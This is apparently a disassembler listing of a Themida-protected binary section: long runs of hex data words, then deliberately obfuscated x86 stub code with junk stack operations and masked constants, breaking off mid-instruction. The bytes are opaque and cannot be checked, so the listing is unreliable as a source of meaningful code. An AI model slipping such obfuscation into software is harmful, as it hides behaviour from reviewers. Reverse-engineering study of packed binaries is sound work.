dd 7FA7B912h, 21173116h, 87BAB72Eh, 6131341Ch, 40F3B79Eh dd 5D563416h, 6F690490h, 0ED434713h, 65011B90h, 0E32A7513h dd 6081D32Fh, 0E3CF3560h, 6021264Ch, 58940952h, 138E3BF4h dd 0AFC1B912h, 2124311Ah, 0E21ECD1Eh, 66883210h, 99BFD8FCh dd 37A709EAh, 69173107h, 66883990h, 52C1BF15h, 8F243B83h dd 99EEC9C6h, 7A55B72Eh, 0E34B3416h, 6622320Dh, 864E8F96h dd 6989341Ch, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh dd 86DEB72Eh, 0E22D341Ch, 66113219h, 8616B72Eh, 0E34B341Ch dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h dd 5D113215h, 6F68BC90h, 6DC13D13h, 0EB223215h, 3E73D690h dd 9DE5DB15h, 0E37FCDEAh, 602BD287h, 661AB71Ah, 0E3053215h dd 661C514Fh, 99D964FCh, 0F09409EAh, 698E3BF5h, 66443990h dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh, 60123224h dd 4B41879Ch, 58C43416h, 40A73DFCh, 0ED113215h, 988B336Bh dd 0A5C5EC9Eh, 66227215h, 66208F2Eh, 0E4873416h, 6644321Dh dd 0E02DC92Eh, 66113210h, 9972D4FCh, 13F9B9EAh, 0A1243137h dd 6533E390h, 66883213h, 0D3CD5215h, 60211FDCh, 9DB3AF98h dd 0B577341Ch, 6666B01Ah, 0FBAF3215h, 6019A393h, 0E587E1EAh dd 99BBCDCBh, 4BEB879Eh, 0D3983416h, 608B10C4h, 21B5AF98h dd 0B5DD341Ch, 6620B79Eh, 0E3013416h, 60471FDCh, 6DBFBF74h dd 99173BEDh db 0C6h byte_5AAF8D db 0BFh, 15h, 95h ; DATA XREF: Themida_:005436FDo dd 99423BEFh, 6AA13DC6h, 0E5113215h, 65A5FB90h, 0B8AD3713h dd 0EBDDCDEAh, 6FEA2E88h, 695BCD13h, 66443A96h, 62E0B115h dd 661100FCh, 0E015BF15h, 99423A84h, 6DA13DC6h, 0ED113215h dd 65A5FBA0h, 61C4DB13h, 0EBA93215h, 60121FDCh, 4B41879Ch dd 0A86F3416h, 9709EBE2h, 0F0F896E6h, 0EB77CDEAh, 6F0C7B88h dd 0EDF1CD13h, 139419D2h, 0EF8E3137h, 65629B90h, 13A7B913h dd 31173137h, 0D805BF45h, 99423B5Dh, 97A7B9C4h, 3617310Ah dd 130DB942h, 36423137h, 2ECFBF98h, 0B7EE341Ch, 0AE03E29Eh dd 79B5BF3Eh, 0DBA13416h, 60123664h, 4D0C3D15h, 0ED443215h dd 652B9F90h, 17941913h, 5D8E3111h, 71C23DD4h, 0ED223215h dd 6538A790h, 170D3113h, 0EF423111h, 6513BB90h, 6652DB13h dd 0EDD93215h, 99497AD4h, 2622321Ah, 6FBCB79Ch, 0E3893416h dd 60471728h, 6253B7D2h, 66113416h, 26E23215h, 6654327Dh dd 66486315h, 6904A7EAh, 0F3773416h, 604723D0h, 4FB7B79Ch dd 0E3983416h, 608B039Ch, 0EFF1CD4Ch, 99243124h, 650EC3A0h dd 0D3776513h, 60471060h, 2B5DB798h, 0B6EE341Ch, 62F9BF14h dd 0DBCF3416h, 6021039Ch, 79E0879Eh, 0C27B3416h, 472D879Eh dd 0A18F3416h, 6611CE53h, 0A6493215h, 12C33710h, 0E3213718h dd 60123334h, 5701BF9Eh, 6ECD3416h, 9A64F5B8h, 66113215h dd 47E1879Ch, 9EC73416h, 46A73DEAh, 0E7113215h, 0BB55EF2Bh dd 72C13DC8h, 0A1223215h, 66113213h, 624EB115h, 472D879Ch dd 80CB3416h, 0A7EECDE3h, 0E38B31D5h, 60473334h, 74378F96h dd 69103416h, 6688AF91h, 0CC7AB315h, 698898BFh, 66112090h dd 624EB115h, 66B874D2h, 0F1223215h, 65F8DBA5h, 0F1883215h dd 0E514DAA5h, 650B07A8h, 0E21E3313h, 6688322Bh, 664532ADh dd 0C09FB115h, 66173BF5h, 6680B61Ah, 0FBC93215h, 602B62D5h dd 5991E1EAh, 6E0C3D85h, 0E5443215h, 25CB37D2h, 0E5113215h dd 0E48762EDh, 6644321Fh, 3E88A2A5h, 6635DBBFh, 0CCD03215h dd 8FBB4D95h, 663AB71Ah, 0DB923215h, 6081D2B3h, 6EC03D15h dd 0EB223215h, 6F41A288h, 0EE5BCD13h, 0E3CF3652h, 6021039Ch dd 8E92F53Eh, 0A1259911h, 6644CE53h, 77CB3215h, 0EFEECDEAh dd 65A95BA0h, 662C6013h, 0C223295h, 3BA4CD15h, 998E310Fh dd 656A2B80h, 0EBA96813h, 60121AE8h, 668833D2h, 0A7C73215h dd 9BAFBB11h, 8F17313Dh, 9977C705h, 664296FCh, 0EBA95215h dd 60121AE8h, 0EB013B9Eh, 604DD2B7h, 326C0A94h, 0E31E7E51h dd 66883209h, 623CB373h, 0E32D1C59h, 66113205h, 0A00BC29Eh dd 23C1B913h, 8F243136h, 66113313h, 0B603C29Eh, 5AE8FB26h dd 3BA63D15h, 5A113215h, 890C3D38h, 5ABBCDEAh, 5BA63D3Bh dd 5A113215h, 660A3D25h, 5A443214h, 0B1A43D2Ch, 5AEECDEAh dd 960A3D54h, 5A443215h, 0A1A43D4Fh, 5AEECDEAh, 0D90C3D4Ah dd 5ABBCDEAh, 0BEA03D74h, 5A113215h, 0C90E3D6Fh, 8FBBCDEAh dd 662232DEh, 69C70957h, 6688F091h, 8F057815h, 99DDCD8Fh dd 0E21EFB90h, 668832A6h, 71F58798h, 0ACA93416h, 48A1C89Eh dd 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh, 95E6B5ECh, 99CFF4B1h dd 0D7D1BF15h, 0ED243102h, 65315390h, 6948B713h, 66442890h dd 5FA7F415h, 2117313Ah, 0FC2FE07Dh, 0AFF1CDC1h, 0EB24313Dh dd 60628E90h, 3458CD13h, 0A6C1E2EAh, 661AB71Ah, 0E39A3215h dd 608B291Ch, 0E34BF290h, 6622320Fh, 4928B7D3h, 0EC43416h dd 0BF9E2EFCh, 4EEB87EAh, 0E39C3416h, 608E41A9h, 9916E2EAh dd 69E2B7C5h, 66113790h, 66A9DB15h, 0E3CD3215h, 602BD2B7h dd 0E39C6445h, 608E5F91h, 0A64FE2EAh, 6627B71Ah, 62F83215h dd 0EF883215h, 7581651h, 0EBA952D6h, 6018D2B7h, 6549B945h dd 0F6CF0E55h, 6622329Dh, 7834A79Ch, 9E8D3416h, 0ED443215h dd 0F3AB3E45h, 6012227Ch, 42CCB94Dh, 5D851931h, 65325B90h dd 76933D13h, 5D883215h, 655A1790h, 62A13D13h, 7113215h dd 78836D7h, 666036D2h, 0A1223215h, 66151651h, 0DE883215h dd 66443210h, 2B3EBF98h, 87EE3416h, 5A8EB875h, 58C03DFCh dd 5A223215h, 24953DFDh, 5A883215h, 74C03D1Ah, 5A223215h dd 59953DD8h, 5A883215h, 2FC03DFEh, 7223215h, 674FB8D6h dd 0E678D195h, 0E34BB2EEh, 99DDCDFAh, 0A592EC9Eh, 64D63113h dd 664426FCh, 677CB915h, 69EAC996h, 66881B91h, 659AB915h dd 0A5A1334Bh, 99D8DB10h, 0D087CDEAh, 8DC7334Bh, 0DAA63D3Bh dd 8FEECDEAh, 6688321Fh, 98454C95h, 998FB71Ah, 6F8CDEAh db 0EAh, 0CDh, 77h byte_5AB47F db 30h ; DATA XREF: Themida_:005436F9o dd 55136144h, 0BEA89ED5h, 0E6E1D195h, 0E28742EEh, 664432F9h dd 0E22D3D29h, 66113230h, 0E287DB29h, 66443391h, 0E22DD929h dd 66113000h, 0E287D129h, 66443264h, 0E22DD029h, 66113056h dd 38D1694Ah, 14C1F5D6h, 60243BF4h, 0EC113215h, 966BB20Bh dd 69C4C995h, 99DDD190h, 0E39A7CEAh, 608B3224h, 4495A79Eh dd 0B8A93416h, 6517F196h, 0BEB3304Bh, 664CB01Ah, 0BC193215h dd 99AFB41Ah, 0B9A3CDEAh, 42D996h, 0F58954B8h, 62D7B1BEh dd 0EFAC0E9Ch, 0EF481661h, 650FFBA0h, 3F4A6D13h, 624CB14Bh dd 99BE52FCh, 14A7F5EAh, 64173BF4h, 0ED883215h, 68F23DCBh dd 69A2CB95h, 66113A96h, 25513115h, 66443FFCh, 99CBB215h dd 8790EBE2h, 668832EAh, 0E3CFEB3Eh, 60213224h, 44C0A79Eh dd 0DB0B3416h, 6047368Ch, 0C5A63D14h, 5D113215h, 0FD0A3DCDh dd 5D443215h, 27A03DCFh, 8FEECDEAh, 6688329Bh, 8736B7D2h dd 6620341Ch, 0B89A3215h, 0E686841Ah, 0E54BB2ECh, 6622321Dh dd 8F52EB16h, 66883218h, 91BBDB95h, 99C3B3CCh, 4D113215h dd 570DB9CCh, 0ED423115h, 6500E380h, 0FFACB113h, 678E3111h dd 660CB61Ah, 0BE193215h, 6619B01Ah, 0BCB33215h, 98A2B41Ah dd 0D66CCDEAh, 689B981Ah, 8708B2A5h, 0CC85381Ah, 8DA1ED3Eh dd 0E5BAA111h, 0D30130D3h, 60471FDCh, 62BBB7D2h, 66103416h dd 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h, 0D6C6CDEAh dd 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h, 8F40F696h dd 99DDCBD2h, 8763B7D2h, 668D341Ch, 0B8CF3215h, 6526F196h dd 5794B90Bh, 0ED8E3115h, 6566E380h, 0DBA17C13h, 60121638h dd 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h, 4D0E3DCFh dd 0EF443215h, 650FFBA0h, 148CB913h, 678E3BF4h, 8F481649h dd 662232CBh, 4B94F54Ah, 678E3131h, 3D443215h, 0A2A16C4Ch dd 9EE6DB11h, 0DB0BCDEAh, 6047368Ch, 0DDA63D14h, 4D113215h dd 65880388h, 13C9B913h, 65243137h, 0E5DE19DEh, 8F3837FCh dd 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh, 14C1F5EAh dd 64243BF4h, 0ED113215h, 683E3DCBh, 69C4CB95h, 66223A96h dd 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h, 661132EAh dd 0E303EB3Eh, 60473224h, 44F3A79Eh, 20F83416h, 0A177CDEAh dd 6FA54090h, 66223013h, 69CFB915h, 9F083CA3h, 6EC73D95h dd 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh, 66DDD394h dd 0BF3A3215h, 66B9B79Eh, 0F3CF3416h, 602110C4h, 62888F96h dd 69893416h, 99BAFB91h, 69FA09EAh, 66113A97h, 69520915h dd 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h, 0EEAD9984h dd 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h, 35223215h dd 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh, 0E54A9986h dd 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h, 0E287F929h dd 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h, 66443225h dd 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh, 66223218h dd 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h, 6611322Ch dd 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h, 60313215h dd 8F443215h, 66223210h, 661135ACh, 0ED2CC115h, 6566E398h dd 69EBB713h, 66113490h, 0B73DBB15h, 3F423137h, 0ED44F1ECh dd 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h, 0FA953D65h dd 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh, 5A883215h dd 59C03DD7h, 5A223215h, 51953DDEh, 883215h, 6961CD28h dd 66221F91h, 69DB0E15h, 66881791h, 69A70E15h, 66225091h dd 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h, 0E21E9229h dd 66883213h, 664BDBEDh, 0D3AB3215h, 601210C4h, 2179AF98h dd 0B5BB341Ch, 0ED72F1ECh, 0E3982253h, 608B3484h, 7A82B14Dh dd 4A0F8F98h, 65BC3416h, 0CDAC1651h, 4D558F98h, 658F3416h dd 36351651h, 0C735BFBEh, 0CB423136h, 4E067616h, 30D26CBEh dd 2142AF98h, 0B5BB341Ch, 0FFFF95FCh, 4ECEDFFFh, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A44C3878h, 2AA8ED96h, 29458A15h dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h dd 0D7BA8660h, 88CE2559h, 0F14383B8h, 842D32DCh, 71BA8C1Ch dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C5D05E3h dd 0DBDF0746h, 0D552A1FFh, 5E0003C6h, 835492B8h, 0A4F305E9h dd 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 5EE114BCh, 113C5250h dd 0D3B8766Ah, 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h dd 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0EC34F436h, 0E9833179h dd 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 147D17FBh, 0D525FB73h dd 0ADFDF53Fh, 917C5B89h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h dd 7975FD7Ah, 95987C27h, 0A073F4D2h, 26D387FFh, 83C87D7Ch dd 0A4F305E9h, 0BD8DDB8Bh, 609E17Eh, 0FC658D8Dh, 44B80609h dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0FFF2850Fh dd 0C08BFFFFh, 1039BD83h, 75000603h, 1DBD8309h, 60311h dd 53501974h, 11B8C08Bh, 89000004h, 3239185h, 0F89D8D06h dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 11B85350h dd 89000004h, 3239185h, 999D8D06h, 0FF0605ADh, 8B585BD3h dd 0A4F2BBC0h, 8D8D4672h, 609FEDAh, 26958589h, 0B70F0603h dd 0D18D89DBh, 6A060331h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 967C352h, 0DE9CA12h dd 43000000h, 36981158h, 4D9940E5h, 69DDEA9Fh, 1E185C7h dd 6C240603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 7C01EAC3h, 29D36EE5h, 0BB01A1DBh dd 5ECB502Ah, 21BD85C7h, 603h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B5F23C3h dd 562C8B1Fh, 8166C49Dh, 0FFB964C2h, 323C5B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B819424h, 3206595h, 9195FF06h, 60060326h, 0E901CDBBh dd 6A61FC03h, 0B995FF00h, 8B06031Fh, 1F39EBC0h, 0AB09475h dd 2B84343Eh, 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh dd 0FF28EC2Bh, 9E8770B8h, 16E28D32h, 5167D5Ch, 6F3F3B1Ah dd 0E8AF35Eh, 13852E07h, 6D3FC9C0h, 8EBh, 0A5900000h, 0B9E96951h dd 68000004h, 60A0048h, 0F97E34E9h, 0AA68FFh, 2AE9060Ah dd 68FFF97Eh, 60A0224h, 0F97E20E9h, 6B8C6FFFh, 0FE039065h dd 487107EAh, 0D8DDB104h, 0AB5021B4h, 0DA904F25h, 75D88C35h dd 0F94C00A5h, 6FF2961Bh, 50616788h, 0F159F256h, 15A77104h dd 0BC452A56h, 9AE412Ch, 43612C5Bh, 63AA6D27h, 5A5B32FBh dd 0AC025732h, 930C1C94h, 0E9770E89h, 31199762h, 7511A163h dd 0BA420AD1h, 710BA11Dh, 4C8C4FEBh, 4CD0B5C8h, 95B9FD7Bh dd 6A247983h, 30E7693h, 93440000h, 9D726EE1h, 0F3194314h dd 4AD1D6BAh, 6C0175EEh, 0E2536489h, 2E4CC3D5h, 0C4B811EFh dd 5BD3B46h, 11F06F25h, 0DD6D2D75h, 710BBA44h, 0DCBE2DB8h dd 45D0B5D7h, 9C881E2Eh, 6510A468h, 0A91F2B47h, 0A779ABADh dd 1EA57630h, 4E98B38h, 0D0462682h dd 30585D3Dh, 2550DF55h, 275FEB87h, 9977AC21h, 3ED1B4F2h dd 785E01B9h, 250B592Dh, 4F392276h, 45D0D89Bh, 481D9BEFh dd 1D4800A5h, 8A2BC2A7h, 0B99D89EBh, 5BB6561Dh, 2DDh, 7A6E8F62h dd 0EFFD0697h, 194F741Ah, 89DFE0B4h, 3AAE5324h, 38D98D48h dd 0A848DDB3h, 1EFC4107h, 8B62F795h, 5B5F666Ah, 4F056CFh dd 591AAA71h, 6AE34701h, 0D6770EF0h, 6F1AA503h, 5E113971h dd 0DA750859h, 0FD92730Fh, 6C0D90F4h, 0EDFD0547h, 6FA5CC5Ah dd 1A4C6788h, 0BF1F2959h, 27B322Fh, 0F1800000h, 683598CCh dd 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh dd 0E7E50AEEh, 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104F0h dd 85F03BB8h, 6AF1FA9Fh, 0D0D5B94Ch, 19572DB8h, 8597E31h dd 7D6FFA75h, 0B02901BBh, 0C7104F1h, 4ECBE359h, 0DA7104F1h dd 1E263266h, 8593634Fh, 11EF10E0h, 1B70Bh, 432AB400h dd 0FE4A04A2h, 770EF065h, 0D8B00CDBh, 0B84A45Eh, 3D770EF1h dd 5336565Bh, 767B1D70h, 8E47316h, 8959265h, 11FCE9E3h dd 0AB493473h, 653B0Fh, 0A1447512h, 0DDA028CDh, 0B3D6B63Bh dd 0E2694824h, 0E0C542EAh, 987F710Bh, 7E87517h, 0D4E8EAE2h dd 8567FC80h, 12BD4780h, 1C40FC87h, 69A80004h, 2CFF93h dd 0F0780000h, 914B6785h, 0F49419FCh, 81331B91h, 0FF7511FFh dd 0D7B66068h, 0EC3CB841h, 710BDF6Fh, 455387BDh, 936A413Fh dd 0D538h, 432ABB00h, 0B2472AA2h, 93B77109h, 770EF0FAh dd 75159346h, 0A82109C3h, 58770EF0h, 305537B8h, 0DADBB211h dd 548D7B2h, 9CF14F74h, 994F4F9h, 95034166h, 0F0D64FDBh dd 472A770Eh, 54008B1h, 1BEAC2BEh, 59770EF5h, 872CC9B6h dd 701B5438h, 5143472h, 3B750C88h, 9E7312ACh, 0CC7EEDDFh dd 0CE55FF16h, 9362379Ah, 9765D5FEh, 4A6F7A12h, 1BE62047h dd 0DA820458h, 0DC31D9E0h, 101h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h dd 553BBC50h, 0C68A2FC0h, 14E5B16Ch, 8414F9EFh, 0FA986D63h dd 670E93F1h, 37730246h, 4EE7A13h, 0B536C671h, 618A6C01h dd 8A6F6267h, 86626761h, 0E7E50EE3h, 3BB07B12h, 0CE835C19h dd 930D432Eh, 3FD871D9h, 0B124770Eh, 6C01B83Bh, 6267618Ah dd 0EB0CE386h, 74791CE1h, 8E2C5710h, 0ABA758F0h, 0B6257511h dd 878415F8h, 0C99CCCF5h, 0EFB06E62h, 79601901h, 0D4F47037h dd 710BC437h, 0C38126C9h, 7810997Eh, 6B4A2FBEh, 877CDF35h dd 0D5F2A8Dh, 5EF9DC58h, 4000000h, 4B6785F0h, 56D2D3BAh dd 59813018h, 0F5987508h, 0D248025h, 0CCA30E5Eh, 3DD0A52Bh dd 4A08D0B8h, 40163091h, 0FE6B8ECh, 8017FAEEh, 0EC806D7Fh dd 0DADA81CBh, 9419FCB6h, 0B68A6DF0h, 33E1E5h, 0E820E089h dd 0DBC166Fh, 0D9B31ECDh, 29F0BC5Fh, 0AFB40C91h, 3CCD1h dd 3770000h, 0A6472A80h, 33B45B26h, 9D26F459h, 6D9266CBh dd 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh dd 0B0680B40h, 89000007h, 89512414h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 2404895Ch, 2B4C68h, 241C8900h, 8904EC83h dd 0C7BB241Ch, 81533F28h, 5A4A3EC3h, 0E3C14B04h, 8E3C105h dd 8103E3C1h, 0FA00BBEBh, 5BD8896Ch, 7FAD68h, 24248900h dd 4240483h, 4CE2685Bh, 4890000h, 24348124h, 5EA7600Ch dd 8108438Fh, 600C0873h, 34FF5EA7h, 0C4835B24h, 24048B04h dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F9798CE9h, 0CE076EFFh dd 2CF32840h, 0A034AB8h, 0FFC50306h, 0BDA0ECE0h, 0E5532E55h dd 9B5F5C51h, 4C18D50Eh, 0BCB0281Ah, 947FCE24h, 0B2608319h dd 0B56C8E4Ah, 106F4C24h, 0C62FF7Dh, 2E2AFC40h, 0DB973A5Bh dd 0DB57F00Eh, 3E525B57h, 93C3A942h, 7858CC68h, 60AFB234h dd 985E516Fh, 4F57DB1Dh, 0D5E30962h, 0D9BA0E3Fh, 0B767C43Ch dd 23090C53h, 96578A47h, 8C16813Ah, 0CE322E35h, 0EDE90Ch dd 66600000h, 4A8D88Ch, 0DF840Fh, 0B58B0000h, 60303C1h dd 0F00FE83h, 2285h, 3985C600h, 4506032Fh, 72696968h, 59B5FF8Eh dd 8D060313h, 673BC85h, 89D0FF06h, 320F185h, 80F08B06h dd 850FE93Eh, 31h, 6E5F858Dh, 0D0FF0608h, 2F05BD8Bh, 0C7810603h dd 1184h, 3C1B58Bh, 0F7870603h, 8B9h, 8BA4F300h, 303C1B5h dd 51858D06h, 0FF06071Bh, 19B58BD0h, 8306031Fh, 850F00FEh dd 22h, 2F3985C6h, 68540603h, 0FF4EBEF4h, 1359B5FFh, 858D0603h dd 60673BCh, 8589D0FFh, 6031F19h, 3E80F08Bh, 3A850FE9h dd 8B000000h, 31F19B5h, 5F858D06h, 0FF06086Eh, 5BD8BD0h dd 8106032Fh, 1184C7h, 8C78300h, 1F19B58Bh, 0F7870603h dd 8B9h, 8BA4F300h, 31F19B5h, 51858D06h, 0FF06071Bh, 8DC361D0h dd 0A045685h, 0B9858906h, 0E806031Bh, 0Ch, 8D055BBCh, 0A752DCEBh dd 256D5BE4h, 3732BE66h, 0B257605Ah, 0DF8159C7h, 3B882E0Ch dd 0EEC28161h, 68000070h, 0 dd 815FC38Bh, 0C78401CEh, 1734FF33h, 8159DA8Bh, 8CB943C1h dd 9AD38062h, 3F1DF181h, 800F49B0h, 5, 0A4C38166h, 1EF18176h dd 0E85FD16Eh, 14h, 5B9EEE38h, 70D7694Fh, 67534BCCh, 18CA6C37h dd 960C7097h, 6860Fh, 8E0F0000h, 0 dd 3A0C895Eh, 81666060h, 0FB19EF0h, 81h, 14E96100h, 38000000h dd 34AA450Eh, 2001E6D0h, 0EF1DDA29h, 0B4B3B77Dh, 61CB6A0Ah dd 0DE8h, 3EF09700h, 0C354A742h, 12903125h, 9E8EBEBh, 0F4000000h dd 9D6859FCh, 0FE88F876h, 5BF7B70Fh, 4EF835Eh, 8110E780h dd 0FF9004FFh, 52850FFFh, 0E8FFFFFFh, 11h, 0B25229E8h dd 1E7C84A7h, 35411ACBh, 7D32AEBDh, 4EB5B9Ch, 16051C90h dd 57EE9h, 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h dd 5B603184h, 2A80BF35h, 4528BC45h, 0C95C30B5h, 7FC2862Bh dd 20711798h, 0EA49C266h, 5B77104h, 71432A66h, 0D6F6FB9Ch dd 770EF03Dh, 1F49D483h, 0D24BDF99h, 49770EF0h, 0EF068E1h dd 0E01D477h, 0C76B065Bh, 92BF47F8h, 0ED9E7316h, 0E1E4E409h dd 0CE3761Ah, 791CE1EBh, 0EC891474h, 1CF1ABC7h, 70157778h dd 0E4CBF58h, 1CA17177h, 5306194Ch, 300CB5D5h, 22C3AAECh dd 0B039DBAEh, 6AB49DCh, 9617FB46h, 63B78DF6h, 0B658492Bh dd 5F22A60Dh, 0C17B37B8h, 0E4CF069h, 23994C77h, 5B38CD4Bh dd 0A626C7AEh, 51345423h, 4C55F3DBh, 61D7770Eh, 0AE213B3Dh dd 62DE996Ch, 59000000h, 2AA2432Ah, 0F2F7996Ch, 0F0BB5676h dd 0B971770Eh, 0D16E50E6h, 837963DEh, 778D6BBFh, 70996CB9h dd 1, 58492A83h, 0D27630B5h, 770EF039h, 345D087h, 0B4D4DDBEh dd 28A04529h, 0C79FC361h, 4ADF8D36h, 0AA6402A3h, 0EF1059Eh dd 0EB3F7B77h, 770EF072h, 0EB8C1BCEh, 66773D0Eh, 93F74D13h dd 0BC452AE0h, 69926302h, 0A83DFB93h, 20A527C8h, 4A26CBADh dd 3BAD5627h, 2E60B468h, 722CA049h, 0C91CD8A1h, 9E73244h dd 4949164h, 11FCE9E3h, 4E2CC177h, 0AB5026A5h, 0A5C8A421h dd 0D6902ED3h, 0E03D972h, 34B02777h, 7825C954h, 0C4841394h dd 76169B79h, 0AA143804h, 92F1251Bh, 0F4941DF3h, 24281B91h dd 0C3996C5Fh, 6Ch, 0BC452A7Ch, 0F2AF412Ch, 94F19B20h dd 5AD65F09h, 169B7C36h, 2B0AEF72h, 774CFB25h, 0BD2FBA3Fh dd 7C856AFBh, 0E941796Ch, 770E3470h, 0CEA319CCh, 46C78126h dd 862BCDA0h, 0D6C2162Ah, 996C8FDEh, 4899h, 452A1A00h dd 9B6A2CBCh, 0F396F6F7h, 0AA821075h, 46543BE9h, 9B8D2A6Ah dd 770EDC02h, 4C1CEB7Eh, 521438F4h, 235034BDh, 6A0492Ah dd 976D9667h, 0CFAC41F7h, 0E07E4E2Ah, 2A770EF0h, 0AEB6A2F6h dd 0A9996D51h, 1, 0BF442ACAh, 8AD402Dh, 0A9631B40h, 0EF10881h dd 0BE17477h, 0C5ABE337h, 2DEEA83Ch, 0E98EC6FDh, 0AC94BFC0h dd 8BF6413Fh, 0CBF5556Dh, 31751169h, 5335BA52h, 5C21AB36h dd 0C07A34B9h, 0B69EF68h, 229E4D71h, 9314FB4Eh, 69B651F9h dd 0A75B710Bh, 9B7D1073h, 20F79A16h, 7C6C9567h, 69F56EBAh dd 9C4B710Bh, 5326AA31h, 0E7513BBCh, 0A122EF34h, 0B141089h dd 0D8F96C71h, 0D6A7C814h, 432EBB2Dh, 0C8ED80E5h, 9A6B0380h dd 0F297F1F6h, 441E4276h, 93720CB1h, 870028FCh, 0F5710B2Dh dd 491D9B66h, 0E1F90CCFh, 0F9EECE7Ah, 2C2C3003h, 512B936Ah dd 54000001h, 0F99F85F0h, 934D65F0h, 1E9A1BF2h, 1209100Eh dd 91FB6E75h, 44DD6D27h, 0B8710BC8h, 0C8B12AFEh, 580F710Bh dd 7B1277CDh, 0EC83167Ah, 593C81CBh, 0AD973454h, 0A94E2179h dd 5AF35711h, 0C1710BC8h, 0BC8F069h, 86994C71h, 0F23155D3h dd 936A29EAh, 0C171E6B9h, 4E8A5B2h, 44B2A8h, 57080000h dd 6C194D88h, 0A6481FBDh, 0A21E4B1Dh, 6686F021h, 0F097E048h dd 0D685770Eh, 0F0F56EB6h, 0D4E8770Eh, 1F2BE580h, 770EF086h dd 26916FFAh, 68225C5Ch, 74F0F585h, 0EF0EB54h, 0C68A5177h dd 0AF03h, 4701B200h, 0EF06AE3h, 0A503D677h, 39716F1Ah dd 0B95D6866h, 0AC08DF9Fh, 0BD6C56F2h, 7D27511h, 0F2F39A6Bh dd 1971CF9Ah, 88DCE1B4h, 15AD5225h, 4E1EA370h, 25CD9D1Bh dd 710B7F35h, 906104B2h, 65A98D6Bh, 91F65506h, 6AFB6D3h dd 0B90A922h, 0F5401771h, 9A836A7Fh, 6361CCF5h, 5B713944h dd 79EB677h, 0C1C5A21h, 6F04F7CBh, 6BF615C6h, 2B318053h dd 0C9E1744Dh, 3FA95224h, 0D3BECEAAh, 0AAD1BB3Ch, 7427468Ah dd 33DB3A98h, 6337EDB2h, 0D646DF6Bh, 2FBA7705h, 305BE440h dd 0F354F4B2h, 2E74FFD8h, 0C7BFBA6Dh, 8E48EBFh, 0B52EA229h dd 4B6785F0h, 0B2D1D6BAh, 0D1B4D4DDh, 0CC0D1D5Bh, 0A07508F2h dd 27CE5335h, 0E2D3D74Ch, 0E4E1EB10h, 0DA66E2D3h, 414D54Eh dd 0D1BC2B71h, 0DCB3064Ah, 14A72008h, 95157104h, 4151CB5h dd 6EF56071h, 2421C983h, 0DC80FB25h, 4BD6B63Bh, 0E74A02A3h dd 0EEFBED16h, 9D3D61DFh, 480256EAh, 0F94C00A5h, 6AF79116h dd 0A0457D82h, 3B5329D2h, 16287CB0h, 0AD407E7Fh, 384C28CDh dd 200BEF7Eh, 0E82A2A49h, 0A3F4431Ch, 983D4074h, 0D0B53314h dd 3DD0B83Dh, 3, 2A800340h, 5B26A647h, 0F45933B4h, 66CB9D26h dd 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h dd 0B4008B1h, 5E08950h, 4, 4BE56h, 0F0290000h, 2404875Eh dd 3EB2685Ch, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], esi push 57CD5C6Ah pop esi xor esi, 34425EAh sub esi, 109B179Ah dec esi sub esi, 3DE45B90h mov ecx, esi pop esi push esp mov ebp, [esp] add esp, 4 push 2BD6h mov [esp], ecx pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, 